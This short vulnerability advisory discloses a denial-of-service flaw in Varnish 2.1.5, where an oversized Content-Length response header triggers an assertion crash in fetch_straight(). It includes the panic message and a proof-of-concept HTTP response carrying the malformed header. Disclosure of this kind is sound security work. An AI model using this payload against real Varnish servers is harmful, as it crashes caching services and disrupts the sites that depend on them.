Varnish 2.1.5 DoS in fetch_straight() while parsing Content-Length header

[tytusromekiatomek () hushmail com]

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# fetch_straight()  |  ((uintmax_t)cl == cll) #
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#
# Authors:
#
# 22733db72ab3ed94b5f8a1ffcde850251fe6f466
# c8e74ebd8392fda4788179f9a02bb49337638e7b
# AKAT-1
#
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# Versions: 2.1.5
# Summary
It is possible to crash (via assert) varnish child processes by sending invalid Content-Length reponse header.

* Panic message: Assert error in fetch_straight(), cache_fetch.c line 65:#012 Condition((uintmax_t)cl == cll) not true.

POC(response):
 -- cut --
HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8
Content-Length: 99999999999999999


-- cut --
EOF